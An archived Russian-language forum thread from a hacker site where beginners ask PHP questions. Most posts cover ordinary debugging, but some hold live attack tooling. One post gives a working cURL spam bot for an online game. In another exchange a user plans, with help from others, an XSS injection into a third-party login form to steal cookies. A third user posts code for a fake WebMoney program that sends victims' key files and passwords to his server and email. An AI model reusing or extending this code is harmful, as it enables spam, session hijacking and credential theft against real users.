Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

RE: Вопросы по PHP (для новичков)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> RE: Вопросы по PHP (для новичков)
Имя
Сообщение << Старые топики   Новые топики >>
RE: Вопросы по PHP (для новичков) - 2011-02-17 19:53:20.626666   
antiporno

Сообщений: 79
Оценки: 0
Присоединился: 2010-12-24 14:22:00.863333
Не получается переход на другую ссылку.
&lt;?php $user="admin"; $password="123"; $url="http://google.com"; if(($user==$_GET[user]) && ($password==$_GET[pass])) { echo("correct"); header("Location: $url"); } else { echo("incorrect"); } ?&gt;
Пробую использовать. Вылазиет ошибка:

Warning: Cannot modify header information - headers already sent by (output started at D:\home\site\www\gg.php:16) in D:\home\site\www\gg.php on line 24

Post #: 1441
RE: Вопросы по PHP (для новичков) - 2011-02-20 06:57:37.946666   
DEH

Сообщений: 195
Оценки: 0
Присоединился: 2007-01-13 22:27:31.370000
Перед тем, как устанавливаются заголовки (header) не должно быть вывода. Убери все эхо итп до этой команды.

Кстати, из ошибки все понятно - заголовки уже установлены. Просто запомни на долгие лета - ставишь заголовки - делай эту в первую очередь. Как-то так :)
Post #: 1442
RE: Вопросы по PHP (для новичков) - 2011-02-28 07:35:08.603333   
лужнофф

Сообщений: 281
Оценки: 0
Присоединился: 2011-02-14 15:19:56.986666
1) Саит для изучения php
2) Еще один
Post #: 1443
RE: Вопросы по PHP (для новичков) - 2011-03-18 06:36:26.923333   
EscortSoft

Сообщений: 3
Оценки: 0
Присоединился: 2011-03-04 11:33:43.303333
Ещё ошибка может позникать из-за лишних пробелов до/после <?php ?>. Закрывающий тег вообще не рекомендуется ставить, если php не вставляется в html
Post #: 1444
RE: Вопросы по PHP (для новичков) - 2011-03-28 22:09:17.100000   
KonopelkinMIX

Сообщений: 15
Оценки: 0
Присоединился: 2011-02-20 16:35:17.166666
при заливке форума на хостинг выдает ошибку Parse error: syntax error, unexpected '=', expecting '(' in bootstrap.php on line 60

<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 4.1.0 Patch Level 2
|| # —————————————————————- # ||
|| # Copyright 2000-2010 vBulletin Solutions Inc. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # —————- VBULLETIN IS NOT FREE SOFTWARE —————- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/

/*Legacy Bootstrap==================================================================*/

// Turn on error reporting
error_reporting(E_ALL & ~E_NOTICE);

// Legacy system constants
define('CSRF_PROTECTION', true);
define('VB_AREA', 'Forum');

// Don't use the usual WOLPATH resolution
define('SKIP_WOLPATH', 1);

// Legacy info
// TODO: Load the cms phrasegroup elsewhere
$phrasegroups = array('vbcms');

// Bootstrap to the legacy system
require('./includes/class_bootstrap.php');
$bootstrap = new vB_Bootstrap();
$bootstrap->datastore_entries = array('routes');
$bootstrap->bootstrap();


/*MVC Bootstrap=====================================================================*/

// Notify includes they are ok to run
if (!defined('VB_ENTRY'))
{
    define('VB_ENTRY', 1);
}

// Get the entry time
define('VB_ENTRY_TIME', microtime(true));

// vB core path
define('VB_PATH', realpath(dirname(__FILE__)) . '/');

// The package path
define('VB_PKG_PATH', realpath(VB_PATH . '../packages') . '/');

// Bootstrap the framework
require_once(VB_PATH . 'vb.php');
vB::init();

if (defined('VB_API') AND VB_API === true)
{
    // Force vB::$vbulletin->options['route_requestvar'] to 'r' for API.
    vB::$vbulletin->options['route_requestvar'] = 'r';
}

// Get routed response
print_output(vB_Router::getResponse());


/*======================================================================*\
|| ####################################################################
|| # NulleD By - FintMax
|| # SVN: $Revision: 28749 $
|| ####################################################################
\*======================================================================*/

помогите нвйти ошибку
Post #: 1445
RE: Вопросы по PHP (для новичков) - 2011-03-28 22:45:23.706666   
mscrack

Сообщений: 118
Оценки: 0
Присоединился: 2009-03-15 15:07:33.266666
KonopelkinMIX вы бы выделили 60 строку, а то лень считать.
может тут вместо if (defined('VB_API') AND VB_API === true)
надо if (defined('VB_API') AND VB_API == true) так написать
Post #: 1446
RE: Вопросы по PHP (для новичков) - 2011-03-28 23:40:41.826666   
KonopelkinMIX

Сообщений: 15
Оценки: 0
Присоединился: 2011-02-20 16:35:17.166666
попробовал-не помогло. в notepad++ 60 строка

vB::$vbulletin->options['route_requestvar'] = 'r';
Post #: 1447
RE: Вопросы по PHP (для новичков) - 2011-03-31 22:01:53.546666   
MagicMight

Сообщений: 49
Оценки: 0
Присоединился: 2010-04-21 22:42:34.316666
Ай люди.. я заклевался. У меня стоят Apache 2.2.17 + php5 + MySQL 4.1;
Если первые два в угол ставить не приходится, то с мускулом беда.
Сервер, видимо из принципа, команды mysql_connect() и mysql_pconnect() тщательно игнорирует.
Из cmd базой я управлять могу, но как мне подключится из PHP? Ага, вот еще: при редактировании php.ini, если я пытаюсь подключить модули extension=  ; у меня апач запускаться не хочет.
Так вот, сами вопросы:
1) Установщик MySQL добавляет модуль для поддержки работы PHP по умолчанию?
2) Если нет, то в состав PHP5 такой модуль по умолчанию встроен или нет?
3) Где взять, как настроить, куда скинуть.. dll модулей? Чтобы все работало, а то своей примитивной базой данных из 1000 *.txt файлов пользоваться, мягко говоря, задолбало.
Post #: 1448
RE: Вопросы по PHP (для новичков) - 2011-04-05 22:57:19.010000   
EquaTion

Сообщений: 15
Оценки: 0
Присоединился: 2011-03-29 01:34:50.896666
Кароче начал изучать php дошел до Соеденения с бд и выборка из бд!)
Кароче написал так:
<?
$db = mysql_connect("localhost", "user", "518811");
mysql_select_db("firstdb", $db);
$result = mysql_query("SELECT * FROM firma", $db);
$myrow = mysql_fetch_array($result);
echo $result["name"];
?>
Вроде написал все правильно, но выдает ошибку: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in s:\home\localhost\www\php\mysql.php on line 15
Post #: 1449
RE: Вопросы по PHP (для новичков) - 2011-04-06 00:05:18.080000   
mscrack

Сообщений: 118
Оценки: 0
Присоединился: 2009-03-15 15:07:33.266666
а таблица заполнена? попробуй вставить этот кусок. Посмотри какая ошибка вылезет
mysql_query("SELECT * FROM firma", $db); if(!$result) { echo "Возникла ошибка - ".mysql_error()."&lt;br&gt;"; echo $sql; exit(); }
Post #: 1450
RE: Вопросы по PHP (для новичков) - 2011-04-06 00:17:40.450000   
EquaTion

Сообщений: 15
Оценки: 0
Присоединился: 2011-03-29 01:34:50.896666

quote:

ORIGINAL: mscrack

а таблица заполнена? попробуй вставить этот кусок. Посмотри какая ошибка вылезет
mysql_query("SELECT * FROM firma", $db); if(!$result) { echo "Возникла ошибка - ".mysql_error()."&lt;br&gt;"; echo $sql; exit(); }

quote:

mysql_query("SELECT * FROM firma", $db);
if(!$result) {
echo "Возникла ошибка - ".mysql_error()."&lt;br&gt;";
echo $sql;
exit();
}

Созданы… Сделал как ты сказал вот что выдает: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in s:\home\localhost\www\php\mysql.php on line 13
Возникла ошибка - No Database Selected

Notice: Undefined variable: sql in s:\home\localhost\www\php\mysql.php on line 19
Post #: 1451
RE: Вопросы по PHP (для новичков) - 2011-04-06 00:20:41.520000   
mscrack

Сообщений: 118
Оценки: 0
Присоединился: 2009-03-15 15:07:33.266666
quote:


Возникла ошибка - No Database Selected


судя по ошибки ты базу не выбрал
замени строки на эти и посмотри будут ли ошибки
$db = mysql_connect("localhost", "user", "518811") or die('Не возможно соединиться с базой ('.mysql_error().')') mysql_select_db("firstdb", $db) or die('Нельзя выбрать базу ('.mysql_error().')');
Post #: 1452
RE: Вопросы по PHP (для новичков) - 2011-04-06 15:39:49.300000   
EquaTion

Сообщений: 15
Оценки: 0
Присоединился: 2011-03-29 01:34:50.896666
quote:

ORIGINAL: mscrack

quote:


Возникла ошибка - No Database Selected


судя по ошибки ты базу не выбрал
замени строки на эти и посмотри будут ли ошибки
$db = mysql_connect("localhost", "user", "518811") or die('Не возможно соединиться с базой ('.mysql_error().')') mysql_select_db("firstdb", $db) or die('Нельзя выбрать базу ('.mysql_error().')');

Теперь просто пустаю страницу выдает
Я даже создал новуб БД и таблицы нефига серавно…
Post #: 1453
RE: Вопросы по PHP (для новичков) - 2011-04-06 17:45:51.390000   
EquaTion

Сообщений: 15
Оценки: 0
Присоединился: 2011-03-29 01:34:50.896666
quote:

ORIGINAL: EquaTion

quote:

ORIGINAL: mscrack

quote:


Возникла ошибка - No Database Selected


судя по ошибки ты базу не выбрал
замени строки на эти и посмотри будут ли ошибки
$db = mysql_connect("localhost", "user", "518811") or die('Не возможно соединиться с базой ('.mysql_error().')') mysql_select_db("firstdb", $db) or die('Нельзя выбрать базу ('.mysql_error().')');

Теперь просто пустаю страницу выдает
Я даже создал новуб БД и таблицы нефига серавно…

Так с этим разобрался просто не ту переменную выводил теперь место текста выводит квадратики(�����)
Post #: 1454
RE: Вопросы по PHP (для новичков) - 2011-04-06 22:34:11.186666   
mscrack

Сообщений: 118
Оценки: 0
Присоединился: 2009-03-15 15:07:33.266666
кодировка не правильная. База в какой кодировке?
Post #: 1455
RE: Вопросы по PHP (для новичков) - 2011-04-28 11:45:14.933333   
HavingingWorld

Сообщений: 24
Оценки: 0
Присоединился: 2009-10-29 16:26:46.166666
Подскажите пожалуйста как на блоге на движке вордпресс вставлять php код на страницы!
Post #: 1456
RE: Вопросы по PHP (для новичков) - 2011-04-29 12:19:56.713333   
yMa.hacKer

Сообщений: -1779
Оценки: 10
Присоединился: 2010-01-10 14:25:47.293333
quote:

ORIGINAL: EquaTion

quote:

ORIGINAL: EquaTion

quote:

ORIGINAL: mscrack

quote:


Возникла ошибка - No Database Selected


судя по ошибки ты базу не выбрал
замени строки на эти и посмотри будут ли ошибки
$db = mysql_connect("localhost", "user", "518811") or die('Не возможно соединиться с базой ('.mysql_error().')') mysql_select_db("firstdb", $db) or die('Нельзя выбрать базу ('.mysql_error().')');

Теперь просто пустаю страницу выдает
Я даже создал новуб БД и таблицы нефига серавно…

Так с этим разобрался просто не ту переменную выводил теперь место текста выводит квадратики(�����)

Кодировку поменяй.

quote:


Подскажите пожалуйста как на блоге на движке вордпресс вставлять php код на страницы!

http://www.wordpressplugins.ru/posts/inline-php.html
Post #: 1457
RE: Вопросы по PHP (для новичков) - 2011-05-14 23:02:40.646666   
fometra

Сообщений: 77
Оценки: 0
Присоединился: 2010-03-01 18:36:23.016666
Есть рабочий скрипт-спамер для одной онлайн игры. Рассылает по диапазону ID игроков, нужно переделать скрипт, чтобы он рассылал по базе ID (базу буду брать парсером)

Вот сам скрипт:
quote:


&lt;HТМL&gt;
&lt;title&gt;Спамер&lt;/title&gt;
&lt;form method="post"&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td&gt;Стартовой ИД:&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="start" size="7"&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Конечный ИД:&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="end" size="7"&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Тема:&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="title"&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Текст:&lt;/td&gt;&lt;td&gt;&lt;textarea cols=40 rows=20 name='text'&gt;&lt;/textarea&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;input type="submit" value="Начать спамить!" target="_blank"&gt;
&lt;/form&gt;
&lt;hr&gt;

&lt;?php

set_time_limit(0);

$a="тут мыло";
$b="тут пароль";
$c="задержка";
$d=$_POST['start'];
$e=$_POST['end'];
$f=$_POST['title'];
$g=$_POST['text'];
if(!$a){
echo "Не ввели Email";
exit();
}
if(!$b){
echo "Не ввели Пароль";
exit();
}
if(!$c){
echo "Не ввели Задержку";
exit();
}
if(!$d){
echo "Не ввели начальный ID";
exit();
}
if(!$e){
echo "Не ввели Конечный ID";
exit();
}
if(!$f){
echo "Не ввели Заголовок";
exit();
}
if(!$g){
echo "Не ввели Текс сообщения";
exit();
}
$h=getcwd()."/123.txt";
$i=curl_init();
curl_setopt($i,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($i,CURLOPT_RETURNTRANSFER,1);
curl_setopt($i,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($i,CURLOPT_cооkieJAR,$h);
curl_setopt($i,CURLOPT_cооkieFILE,$h);
curl_setopt($i,CURLOPT_REFERER,"http://XX.XXXXX.XX/");
curl_setopt($i,CURLOPT_URL,"http://XX.XXXXX.XX/login.php");
curl_setopt($i,CURLOPT_POST,1);
curl_setopt($i,CURLOPT_POSTFIELDS,"do_cmd=login&server=2&email=".urlencode($a)."&password=".urlencode($b)."&remember=1");
$j=curl_exec($i);
for($k=$d;$k&lt;$e;$k++){
curl_setopt($i,CURLOPT_URL,"http://XX.XXXXX.XX/player.php?id=".$k);
curl_setopt($i,CURLOPT_POST,0);
$j=curl_exec($i);
preg_match('/to_id=\d+/',$j,$l);
curl_setopt($i,CURLOPT_URL,"http://XX.XXXXX.XX/post.php?m=new&".$l[0]);
curl_setopt($i,CURLOPT_POST,0);
$j=curl_exec($i);
preg_match("/name=[\"']k[\"']\s+value=[\"'](\w+)[\"']/",$j,$l);
$m=$l[1];
preg_match("/name=[\"']to[\"']\s+value=[\"'](\w+)[\"']/",$j,$l);
$n=$l[1];
curl_setopt($i,CURLOPT_URL,"http://XX.XXXXX.XX/post.php?m=new");
curl_setopt($i,CURLOPT_REFERER,"http://XX.XXXXX.XX/post.php?m=new&".$l[0]);
curl_setopt($i,CURLOPT_POST,1);
curl_setopt($i,CURLOPT_POSTFIELDS,"do_cmd=add&k=".$m."&to=".urlencode($n)."&subject=".urlencode($f)."&bоdу=".urlencode($g));
$j=curl_exec($i);
$o=fopen('log.HТМL',"a+");
if(strstr($j,"Письмо отправлено!")){
fputs($o,"$k - send&lt;br&gt;\n");
echo"$k - send&lt;br&gt;\n";
flush();
}
else{
fputs($o,"$k - error&lt;br&gt;\n");
echo"$k - error&lt;br&gt;\n";
flush();
}
fclose($o);
sleep($c);
}
echo "Task Completed!!!";



?&gt;

&lt;/HТМL&gt;
Post #: 1458
RE: Вопросы по PHP (для новичков) - 2011-06-11 18:05:32.063333   
dikox

Сообщений: 11
Оценки: 0
Присоединился: 2010-11-19 23:16:14.363333
нужен код по пхп чтобы ставил текст в середину экрана и большими буквами
Post #: 1459
RE: Вопросы по PHP (для новичков) - 2011-06-15 21:57:48.706666   
Chaz

Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
Здравствуйте, есть страница на которой расположена форма ввода

quote:

&lt;form action="" method="POST"&gt; Логин&lt;br/&gt; &lt;div class="podinput"&gt;&lt;input type="text" value="что-либо" name="login"&gt;&lt;/div&gt;&lt;br/&gt; Пароль&lt;br/&gt; &lt;div class="podinput"&gt;&lt;input type="password" name="pass"&gt;&lt;/div&gt;&lt;br/&gt; &lt;div style="color:red;font-size:12px;"&gt;Вы ввели неправильный логин или пароль!&lt;/div&gt; &lt;div style="margin-top:10px;"&gt;&lt;input type="submit" name="log" value="Войти"&gt;&lt;/div&gt; &lt;/form&gt;


Подскажите код скрипта на пхп который будет передавать нужное мне значение вот сюда (вместо "что-либо")


quote:

&lt;input type="text" value="что-либо" name="login"&gt;
Post #: 1460
RE: Вопросы по PHP (для новичков) - 2011-06-15 23:02:53.260000   
=UMA=

Сообщений: 9
Оценки: 0
Присоединился: 2011-06-15 22:54:56.740000
quote:

ORIGINAL: Chaz

Здравствуйте, есть страница на которой расположена форма ввода

quote:

&lt;form action="" method="POST"&gt; Логин&lt;br/&gt; &lt;div class="podinput"&gt;&lt;input type="text" value="что-либо" name="login"&gt;&lt;/div&gt;&lt;br/&gt; Пароль&lt;br/&gt; &lt;div class="podinput"&gt;&lt;input type="password" name="pass"&gt;&lt;/div&gt;&lt;br/&gt; &lt;div style="color:red;font-size:12px;"&gt;Вы ввели неправильный логин или пароль!&lt;/div&gt; &lt;div style="margin-top:10px;"&gt;&lt;input type="submit" name="log" value="Войти"&gt;&lt;/div&gt; &lt;/form&gt;


Подскажите код скрипта на пхп который будет передавать нужное мне значение вот сюда (вместо "что-либо")


quote:

&lt;input type="text" value="что-либо" name="login"&gt;


&lt;? $login = 'login'; ?&gt; ..... &lt;input type="text" value="&lt;? echo $login; ?&gt;" name="login"&gt;
Post #: 1461
RE: Вопросы по PHP (для новичков) - 2011-06-15 23:40:21.613333   
Chaz

Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
quote:

…..
quote:

ORIGINAL: =UMA=

quote:

ORIGINAL: Chaz

Здравствуйте, есть страница на которой расположена форма ввода

quote:

&lt;form action="" method="POST"&gt; Логин&lt;br/&gt; &lt;div class="podinput"&gt;&lt;input type="text" value="что-либо" name="login"&gt;&lt;/div&gt;&lt;br/&gt; Пароль&lt;br/&gt; &lt;div class="podinput"&gt;&lt;input type="password" name="pass"&gt;&lt;/div&gt;&lt;br/&gt; &lt;div style="color:red;font-size:12px;"&gt;Вы ввели неправильный логин или пароль!&lt;/div&gt; &lt;div style="margin-top:10px;"&gt;&lt;input type="submit" name="log" value="Войти"&gt;&lt;/div&gt; &lt;/form&gt;


Подскажите код скрипта на пхп который будет передавать нужное мне значение вот сюда (вместо "что-либо")


quote:

&lt;input type="text" value="что-либо" name="login"&gt;


&lt;? $login = 'login'; ?&gt; ..... &lt;input type="text" value="&lt;? echo $login; ?&gt;" name="login"&gt;

так мне нужно будет изменить саму форму? доступа к изменению этой формы я не имею.
Весь смысл в том, например, есть некий сайт www.sait.ru/index.php при переходе по этому адресу мы видем форму ввода логина и пароля, так мне нужен скрипт, например script.php который лежит на другом хосте, при переходе на него он отправляет на www.sait.ru/index.php в форму ввода логина, то что мне надо. Я так понимаю, в этом скрипте должна быть переменная в которой содержится то, что я хочу передать, и адрес по которому я это хочу передать, ну и должно быть указано место, куда его пихнуть
Post #: 1462
RE: Вопросы по PHP (для новичков) - 2011-06-15 23:48:34.550000   
=UMA=

Сообщений: 9
Оценки: 0
Присоединился: 2011-06-15 22:54:56.740000
Через CURL
$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://sait.ru/index.php"); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,"login=что либо"); curl_exec ($ch);
Post #: 1463
RE: Вопросы по PHP (для новичков) - 2011-06-16 00:07:36.356666   
Chaz

Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
спасибо, ща проверю
Post #: 1464
RE: Вопросы по PHP (для новичков) - 2011-06-16 00:17:12.133333   
Chaz

Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
все сделал, только не знаю как проверить) Так что еще один вопрос. Дело в том, что в форме ввода логина есть xss уязвимость. Но для того, чтоб заработал свой код, перед ним нужно ввести
quote:

"&gt;
но  код
quote:

$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://sait.ru/index.php"); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,"login="&gt;что либо"); curl_exec ($ch);
  не будет работать, что же мне делать???
Post #: 1465
RE: Вопросы по PHP (для новичков) - 2011-06-16 08:26:43.653333   
=UMA=

Сообщений: 9
Оценки: 0
Присоединился: 2011-06-15 22:54:56.740000
quote:

ORIGINAL: Chaz

все сделал, только не знаю как проверить) Так что еще один вопрос. Дело в том, что в форме ввода логина есть xss уязвимость. Но для того, чтоб заработал свой код, перед ним нужно ввести
quote:

"&gt;
но&nbsp; код
quote:

$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://sait.ru/index.php"); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,"login="&gt;что либо"); curl_exec ($ch);
&nbsp; не будет работать, что же мне делать???


вот так:
\"&gt;
тока не понятно, что ты таким образом сделать хочешь.. )

Post #: 1466
RE: Вопросы по PHP (для новичков) - 2011-06-16 09:54:25.103333   
Chaz

Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
в что-либо я напишу код, который будет перенаправлять на сниффер, который будет красть куки )
Post #: 1467
RE: Вопросы по PHP (для новичков) - 2011-06-16 10:12:29.810000   
Chaz

Сообщений: 15
Оценки: 0
Присоединился: 2011-05-29 18:30:14.986666
ну вот, поковырялся в коде и если все правильно, то данный код
quote:

&lt;?
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://sait.ru/index.php");
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,"login=\"&gt;&lt;meta http-equiv=\"Refresh\" content=\"0\; url=http://www.example.ru/\"&gt;");
curl_exec ($ch);
?&gt;

должен переадресировать на http://www.example.ru
Post #: 1468
RE: Вопросы по PHP (для новичков) - 2011-06-16 10:46:57.706666   
=UMA=

Сообщений: 9
Оценки: 0
Присоединился: 2011-06-15 22:54:56.740000
Так как ты хочешь на php не получится )
Скинь в лс ссылку где ты так хочешь сделать, я посмотрю, напишу можно там это сделать или нет.
Post #: 1469
RE: Вопросы по PHP (для новичков) - 2011-08-05 11:35:36.506666   
Surft

Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
Всем доброго время суток) Начал наконецтаки изучать PHP и MYSQL и у меня возникла проблема с добавлением данных в БД.

Страница с формой отправки POST запроса
&lt;form action="add_lesson.php" method="post"&gt; &lt;p&gt;&lt;label&gt;Введите название урока: &lt;br&gt;&lt;input name="title" type="text" size="90%"&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;label&gt;meta_desсriрtion: &lt;br&gt;&lt;input name="meta_d" type="text" size="90%"&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;label&gt;meta_keywords: &lt;br&gt;&lt;input name="meta_k" type="text" size="90%"&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;label&gt;Дата добавления урока: &lt;br&gt;&lt;input name="date" type="text" value="2000-12-30" size="90%"&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;label&gt;Краткое описание урока: &lt;br&gt;&lt;textarea name="disсriрtion" cols="90%" rows="10"&gt;&lt;/textarea&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;label&gt;Полное описание урока: &lt;br&gt;&lt;textarea name="text" cols="90%" rows="20"&gt;&lt;/textarea&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;label&gt;Автор урока: &lt;br&gt;&lt;input name="author" type="text" size="90%"&gt;&lt;/label&gt;&lt;/p&gt; &lt;input name="submit" type="submit" value="Добавить урок"&gt; &lt;/form&gt;
В файле обработчика "add_lesson.php"
&lt;?php $db = mysql_connect ("localhost","php","12345"); mysql_select_db ("phpsite",$db); if (isset($_POST['title'])) {$title=$_POST['title'];} if (isset($_POST['meta_d'])) {$meta_d=$_POST['meta_d'];} if (isset($_POST['meta_k'])) {$meta_k=$_POST['meta_k'];} if (isset($_POST['date'])) {$date=$_POST['date'];} if (isset($_POST['disсriрtion'])) {$desсriрtion=$_POST['desсriрtion'];} if (isset($_POST['text'])) {$text=$_POST['text'];} if (isset($_POST['author'])) {$author=$_POST['author'];} ?&gt; &lt;HТМL&gt; &lt;head&gt;&lt;link type="text/css" rel="stуlеshееt" href="/css/my.css" /&gt; &lt;title&gt;Добавление уроков&lt;/title&gt;&lt;/head&gt; &lt;bоdу&gt; &lt;table border="0" align="center" width="1000"&gt; &lt;tr&gt; &lt;td colspan="2" class="top"&gt;&lt;?php include("block/head.php")?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr align="top"&gt; &lt;td class="block"&gt;&lt;?php include("block/block.php")?&gt;&lt;/td&gt; &lt;td class="bоdу"&gt; &lt;?php if (isset($title) and isset($meta_d) and isset($meta_k) and isset($date) and isset($desсriрtion) and isset($text) and isset($author)) { $result = mysql_query("insеrt into lesson (title,meta_d,meta_k,date,disсriрtion,text,author) values('$title', '$meta_d', '$meta_k', '$date', '$desсriрtion', '$text', '$author' )",$db); if ($result == 'true') {echo "&lt;p&gt;Урок добавлен&lt;/p&gt;";} else {echo "&lt;p&gt;Ошибка при добавлении урока&lt;/p&gt;";} } else {echo "&lt;p&gt;Вы заполнили не все поля&lt;/p&gt;";} ?&gt; &lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td colspan="2" class="bottom"&gt;&lt;?php include("block/bottom.php")?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/bоdу&gt; &lt;/HТМL&gt;
Выводится такая строка "Вы заполнили не все поля"

а если я делаю так:
&lt;?php if (1==1) { $result = mysql_query("insеrt into lesson (title,meta_d,meta_k,date,disсriрtion,text,author) values('$title', '$meta_d', '$meta_k', '$date', '$desсriрtion', '$text', '$author' )",$db); if ($result == 'true') {echo "&lt;p&gt;Урок добавлен&lt;/p&gt;";} else {echo "&lt;p&gt;Ошибка при добавлении урока&lt;/p&gt;";} } else {echo "&lt;p&gt;Вы заполнили не все поля&lt;/p&gt;";} ?&gt;
то выходит эта строка "Ошибка при добавлении урока"

Посмотрите в чем проблема, немогу понять, проверил каждый символ, в чем проблема непойму((
Post #: 1470
RE: Вопросы по PHP (для новичков) - 2011-08-05 11:48:55.600000   
GoAttack

Сообщений: 842
Оценки: 189
Присоединился: 2009-05-08 23:20:55.580000
if (isset($_POST['disсriрtion'])) {$desсriрtion=$_POST['desсriрtion'];if ($desсriрtion=='') {unset($desсriрtion);}}

$result = mysql_query("insеrt into lesson (title,meta_d,meta_k,date,disсriрtion,text,author) values('$title', '$meta_d', '$meta_k', '$date', '$desсriрtion', '$text', '$author' )",$db);

вероятно ошибка в одной букве
Post #: 1471
RE: Вопросы по PHP (для новичков) - 2011-08-05 11:57:31.300000   
Surft

Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
тваю м*ть!!! вот блин а я из-за этого вчера весь день просидел, немог разобратся!!! :)
GoAttack спасибо, я проверил все работает))
Post #: 1472
RE: Вопросы по PHP (для новичков) - 2011-10-05 19:57:56.116666   
hustler152

Сообщений: 41
Оценки: 0
Присоединился: 2010-05-04 16:08:50.320000
Я пишу фэйк прогу на Vb.Net WebMoney. Вообщем я сделал форму где юзер должен выбрать свой файл ключа и ввести пасс к нему. Я хочу чтобы этот файл с его пассом отправился мне на мыло. Принцип такой, что прога соединяется с моим скриптом, а от этого скрипта мне на мыло это все уходит. Я знаю как делать чтобы просто текст (пароли, логины итд) шел на почту, но как сделать чтобы в приложении приклеплялся файл ключа? Может поможет кто?
Вот пример скрипта, который нужно как-то доделать:
&lt;?php $to="мыло"; $subject="Файл ключа"; $Key=$_GET['key']; $Pass=$_GET['pass']; $mesaga="Ключ: $Key \n Пасс: $Pass \n"; mail($to,$subject,$mesaga); ?&gt; Вот код VB.NET
Dim zapros As New WebClient zapros.DownloadString(CStr("www.Host.ru/key.php?pass=" + TextBox1.Text + "&key=" + TextBox2.Text))
Post #: 1473
RE: Вопросы по PHP (для новичков) - 2011-10-06 00:47:23.650000   
correktor

Сообщений: 10
Оценки: 0
Присоединился: 2011-03-08 15:11:46.040000
Здравствуйте!
Подскажите плз, что может означать вот эта ошибка в форме регистрации: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\localhost\www\phpsite\save_user.php on line 110
Ошибка! Вы не зарегистрированы.

собственно 109 и 110 строки.

$result = mysql_query("SELECT id FROM users WHERE login='$login'",$db);
$myrow = mysql_fetch_array($result);

Post #: 1474
RE: Вопросы по PHP (для новичков) - 2011-10-16 23:38:42.486666   
gram123

Сообщений: 7
Оценки: 0
Присоединился: 2011-07-05 20:43:39.783333
Добрый день,
У меня по сути ламерский вопрос..
Подскажите, если скрипт сайта, написан на php , но он закодирован, возможно ли его раскодировать??


Какими способами и методами возможно??

Post #: 1475
RE: Вопросы по PHP (для новичков) - 2011-10-21 21:26:44.930000   
JAFAR_KARAEV

Сообщений: 10
Оценки: 0
Присоединился: 2011-10-05 22:05:47.423333
добрый вечер! посоветуйте хорошую книгу по пхп и с++! если можно написанную нормальным языком, более человечную и с примерами. интересует серьезное изучение! просто мне это интересно! учусь в универе по  этому направлению, материала дают мало!
и если можно ссыль не форум об этом и о сетевом взломе удаленных рабочих станций! там где меньше флуда и нубства! из более серьезных! если форум закрыт, то если не затруднит инвайт в личку. от себя обещаю не флудить и не нубить! чисто для прочтения, обучения!
Заранее благодарен!
Post #: 1476
RE: Вопросы по PHP (для новичков) - 2011-10-22 13:56:47.570000   
JAFAR_KARAEV

Сообщений: 10
Оценки: 0
Присоединился: 2011-10-05 22:05:47.423333
это же форум для новичков! откликнитесь кто нибудь!
Post #: 1477
RE: Вопросы по PHP (для новичков) - 2011-10-22 14:00:59.303333   
Smokey_Di

Сообщений: 17
Оценки: 0
Присоединился: 2011-10-21 19:30:28.036666

quote:

ORIGINAL: JAFAR_KARAEV

добрый вечер! посоветуйте хорошую книгу по пхп и с++! если можно написанную нормальным языком, более человечную и с примерами. интересует серьезное изучение! просто мне это интересно! учусь в универе по  этому направлению, материала дают мало!
и если можно ссыль не форум об этом и о сетевом взломе удаленных рабочих станций! там где меньше флуда и нубства! из более серьезных! если форум закрыт, то если не затруднит инвайт в личку. от себя обещаю не флудить и не нубить! чисто для прочтения, обучения!
Заранее благодарен!


http://ru.html.net/ отличные учебники по html, css, php с примерами
Post #: 1478
RE: Вопросы по PHP (для новичков) - 2011-10-23 15:00:29.180000   
